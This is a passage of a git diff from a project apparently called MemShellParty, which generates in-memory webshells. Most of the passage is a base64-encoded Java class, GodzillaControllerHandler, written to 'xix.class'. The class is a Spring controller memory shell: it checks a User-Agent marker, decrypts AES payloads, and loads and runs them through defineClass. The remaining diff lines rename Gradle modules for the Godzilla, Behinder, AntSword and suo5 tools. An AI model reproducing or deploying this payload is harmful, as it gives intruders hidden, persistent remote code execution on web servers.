nZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWd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"); + Files.write(Paths.get("xix.class"), bytes); + } +} \ No newline at end of file diff --git a/settings.gradle b/settings.gradle index c1cfcf81..4aaf8b6b 100644 --- a/settings.gradle +++ b/settings.gradle @@ -2,10 +2,10 @@ plugins { id 'org.gradle.toolchains.foojay-resolver-convention' version '0.9.0' } -rootProject.name = 'MemShellParty' +rootProject.name = 'memshell-party' -include 'bom' -include 'common' +include 'memshell-party-bom' +include 'memshell-party-common' include 'tools' include 'tools:godzilla' diff --git a/tools/ant-sword/build.gradle b/tools/ant-sword/build.gradle index 14e2dada..f35685dc 100644 --- a/tools/ant-sword/build.gradle +++ b/tools/ant-sword/build.gradle @@ -14,7 +14,7 @@ java { } dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'javax.servlet:javax.servlet-api' diff --git a/tools/behinder/build.gradle b/tools/behinder/build.gradle index b66df4ac..a80ce730 100644 --- a/tools/behinder/build.gradle +++ b/tools/behinder/build.gradle @@ -15,7 +15,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'commons-io:commons-io' diff --git a/tools/godzilla/build.gradle b/tools/godzilla/build.gradle index 5bbd8ec1..70354b9a 100644 --- a/tools/godzilla/build.gradle +++ b/tools/godzilla/build.gradle @@ -13,7 +13,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' diff --git a/tools/suo5/build.gradle b/tools/suo5/build.gradle index 5bbd8ec1..70354b9a 100644 --- a/tools/suo5/build.gradle +++ b/tools/suo5/build.gradle @@ -13,7 +13,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy'